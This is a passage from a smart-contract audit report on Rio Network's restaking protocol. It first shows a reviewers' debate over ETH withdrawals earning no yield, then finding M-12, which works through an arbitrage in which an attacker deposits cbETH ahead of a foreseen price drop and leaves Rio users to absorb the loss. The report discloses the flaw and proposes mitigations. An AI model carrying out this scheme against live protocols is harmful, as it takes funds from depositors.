LST and ETH earn yield differently. This entire issue is on the topic of how ETH yield is not accounted for at all since it is distributed through a separate system that has nothing to do with the exchange rate. The fix to #109 does not lead to users earning yield during the withdrawal period since the yield from rebalance -> completed withdrawal is not accounted for.

I am clearly referring to the secondary issue:

> The portion of staking rewards accumulated during withdrawal that belongs to LRT holders is never accounted for so withdrawing users do not earn any rewards when waiting for a withdrawal to be completed.

Czar102

@0xmonrel from my understanding, #109 is an issue that makes the LST not earn yield during withdrawals, while this and #367 are documentation issues about the fact that the documentation mentions that the yield is being earned during withdrawal for ETH.

Such a mechanic for ETH (described in the docs) would be fundamentally flawed, so I'm not sure how to consider this finding, given that the implementation works as it should, though against the specification.

@solimander @0xmonrel @nevillehuang do you agree?

0xmonrel

@Czar102 I agree with your statement other than "such a mechanic for ETH would be fundamentally flawed". Why would it not be possible to account for the ETH yield earned? It might add complexity but it is possible.

And yes, fundamentally the issue is that it is stated that users earn yield during ETH withdrawals but they do not. I am assuming here that users expecting yield based on provided information but not earning any as loss off funds/yield. But its obviously your call to decide if that is a fair assumption.

nevillehuang

@Czar102 yea agree with your point for the de-deduplication. Seems like a documentation error if sponsor didn't fix it, but would be fair to validate it based on information presented at time of audit. I will leave it up to you to decide.

#367 and #177 seems to be talking about LST though not ETH? How is the yield earned from native ETH different from LST? Also don't users accept the exchange rate when requesting withdrawals?

Czar102

I am referencing a fundamental flaw because ETH does not earn rewards when a validator is in the withdrawal queue. This means that Rio is fundamentally unable to provide staking rewards from that period of being locked if the withdrawal is not to impact other users' rewards.

@nevillehuang @0xmonrel does that make sense?

Or is it the same for ETH and other LSTs?

0xmonrel

> I am referencing a fundamental flaw because ETH does not earn rewards when a validator is in the withdrawal queue. This means that Rio is fundamentally unable to provide staking rewards from that period of being locked if the withdrawal is not to impact other users' rewards.
>
> @nevillehuang @0xmonrel does that make sense?
>
> Or is it the same for ETH and other LSTs?

That is partially correct. Until the validator gets "withdrawable" status it will still be earning yield, i posted a picture of the expected time in a picture above.

As it stand the users withdrawing are actually paying all other users the yield that the validator is generating. A user solo staking or using EigenLayer would earn yield up until their validator reaches "withdrawable status".

0xmonrel

> @Czar102 yea agree with your point for the de-deduplication. Seems like a documentation error if sponsor didn't fix it, but would be fair to validate it based on information presented at time of audit. I will leave it up to you to decide.
>
> #367 and #177 seems to be talking about LST though not ETH? How is the yield earned from native ETH different from LST? Also don't users accept the exchange rate when requesting withdrawals?

#367 Is talking about an LRT (reETH), which is the token received when depositing ETH or an LST into Rio. So the issue is about ETH withdrawals which require users to deposit reETH. It is a little confusing since the name is similar to rETH which is an LST.

Each reETH can have multiple underlying assets that are supported on EigenLayer. EigenLayer distinguishes between LSTs and ETH since ETH has to be staked with an actual validator - the rewards that are generated here is the yield for ETH. These rewards are distributed through the DelayedWithdrawalRouter contract on EigenLayer. Eventually 90% reaches the deposit pool at which point the yield belongs to reETH holders. None of this is accounted for during withdrawals of ETH, that is why ETH withdrawals earn 0 yield.

For LSTs (if they are not rebasing) the yield is earned in the increased value of the token based on how much ETH it can be redeemed for which increases as yield is added.

On users accept an exchange rate: Users accept the current value of their reETH when requesting a withdrawal but they are also expected to earn yield on top of that during the withdrawal. For non-rebasing LSTs this happens naturally since the yield is baked into the token. Locking in 10 LST today and receiving 10 LST in 1 week will include the yield. This is not true for ETH which is why no yield is earned.

#107 is a separate issue that does not talk about ETH withdrawals, it is not a duplicate.

Czar102

I agree. Will make this a separate issue with #367 and #177 as duplicates shortly.

0xmonrel

#177 should not be a duplicate? It is only on rebasing tokens not earning yield

Explicitly only talking about non-eth rebasing tokens:

Impact section:

> Not all depositors will be able to withdraw their assets/principal for non-ETH assets.

Czar102

I see. I will leave it a duplicate of #109, as it was, which will not change the reward distribution from the scenario where it was invalidated. cc @nevillehuang

Thanks for reminding me to remove #177 from the duplicates @0xmonrel.

Czar102

Result: Medium Has Duplicates

Considering this a Medium since the loss is constrained to the interest during some of the withdrawal time, which is a small part of the deposits.

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- 0xmonrel: accepted

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/13

10xhash

Fixed Share value appreciated/yield till the rebalance call will now be considered. Since the queued rio lrt tokens are only burnt after the withdrawal completion, the yield occuring during this time will be temporarily distributed to even the queued tokens causing a temporary decrease in rio lrt value. This is considered accepteable.

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-12: The current idea of creating reETH and accepting several different assets in it exposes RIO users to losses

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/386

The protocol has acknowledged this issue.

Found by

ComposableSecurity, PNS, fugazzi, shaka, zzykxx

Summary

After the release of LRT, which will include the ability to deposit native eth and wrapped staking tokens like cbETH or wstETH, Rio users will be exposed to additional economic risks that may lead to loss of capital. In case of a predictable price drop (e.g. caused by a slashing event in an external liquid staking provider), external users can deposit their funds into Rio before the price drop. They will receive the LRT (corresponding to the value before the price drop, as priceFeed displays the changed price only when it actually happens) and withdraw them once the price drops, sharing their loss with Rio users.

Vulnerability Detail

Rio creates a network for issuing Liquid Restaking Tokens (LRTs) that have an underlying asset mix. The idea is to have multiple LRTs like: reUSD, reETH, reXXX, where for reUSD underlying asset mix will include e.g. USDC, DAI, USDT and for reETH underlying asset mix will include native ETH and e.g. cbETH (as it is used in tests), or wstETH.

Users depositing their funds into Rio are encouraged by the rewards of staking and re-staking through EigenLayer, but they also bear the risk of penalties and slashing of their deposited funds. However, in case of reETH, the 3rd party users who are not associated in any way with Rio ecosystem can take advantage of such LRT and make Rio users bear their losses.

Keeping in mind these things:

- value of assets like wstETH, cbETH generally increase over time,
- there are price drops for assets like wstETH, cbETH, but most of the time these are temporary,

- things that can cause price drops for assets like wstETH, cbETH include: slashing, lower demand / lack of trust for particular asset, withdrawal caused by people who accumulated big rewards over time,
- lower demand / lack of trust is unpredictable, however, big withdrawals can be monitored and slashing is a process spread over time, so there is a time when you know the value of asset will drop,
- liquid staking providers like LIDO etc., protects themselves from "withdrawal before slashing" by making withdrawal process long enough so that slashing can affect the users who request to withdraw,
- user within Rio ecosystem can deposit asset1 to get LRT, and then request to withdraw asset2.

Consider the following scenario (**values used for ease of calculation and to illustrate the attack**, real values will be presented later in this description):

Rio issues LRT (reETH) that supports two assets (cbETH and native ETH).

1. 200 ETH is deposited inside RIO by users and 200 reETH were minted.
2. The attacker (cbETH staker) has 100 cbETH (price is e.g. 1 cbETH = 2 ETH, their cbETH is worth 200 ETH)

The attacker knows through monitoring slashing events and big withdrawalas that price will drop soon.

3. The attacker deposit their 100 cbETH to Rio to get 200 reETH (as current price is still 1 cbETH = 2 ETH)

Total value locked on Rio will increase from 200 ETH to 400 ETH (200 eth and 100 cbETH)

Price of cbETH now drops by 50% (so now 1 cbETH = 1 ETH)

Total value locked on Rio will decrease from 400 ETH to 300 ETH (as 200cbETH is now worth only 100 ETH).

4. The attacker decides to request withdraw all of their cbETH by burning only 150 reETH and they also request to withdraw 50 ETH by burning another 100 reETH.
5. Attacker gets 200 cbETH back (current price is 100 ETH) and additional 50 ETH.
6. Attacker buys additional cbETH for their additional 50 ETH, so know they have 250 cbETH (from another source)

Now price recover, so its again 1 cbETH = 2 ETH.

Attacker now have 250 cbETH worth 500 ETH, and Rio users have 150 ETH (lost 50 ETH, as attacker delegeted their risk to rio users).

However, the price will not drop by 50%. The real numbers could be up to 10%.

Looking at 2 examples of assets that are considered to be added to reETH (cbETH and wstETH) we can observe the following:

1. cbETH (https://coinmarketcap.com/currencies/coinbase-wrapped-staked-eth/)

- there are price drops
- based on data from last 365 days the biggest percentage drop in price occurred on March 11, 2023, with a drop of approximately 8.25% (https://coinmarketcap.com/currencies/lido-finance-wsteth/historical-data/) (https://coinmarketcap.com/currencies/coinbase-wrapped-staked-eth/historical-data/)

2. wstETH (https://coinmarketcap.com/currencies/lido-finance-wsteth/)

- there are price drops
- based on data from last 365 days the biggest percentage drop in price occurred also on March 11, 2023, with a drop of approximately 9.28% (https://coinmarketcap.com/currencies/lido-finance-wsteth/historical-data/)

Impact

MEDIUM - as it require conditions that needs to be satisfied (observed in advance price drop) and funds which cannot be possed in flash-loan to increase the impact of the vulnerability.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99 https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L101C22-L101C56

Tool used

Manual Review

Recommendation

The problem is not easy to fix and several security mechanisms can be used:

- users could be allowed to withdraw only the type of assets they deposit
- you can monitor price drop events and temporarily freeze deposits
- you can set a minimum period for the user between his deposit and withdrawal so that he cannot take advantage of price fluctuations
- single LRTs can be issued for assets that are subject to such events (price drops predicted some time in advance)

Discussion

nevillehuang

Maintaining as valid medium, given I believe this should have been made known as accepted risks in the contest details

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.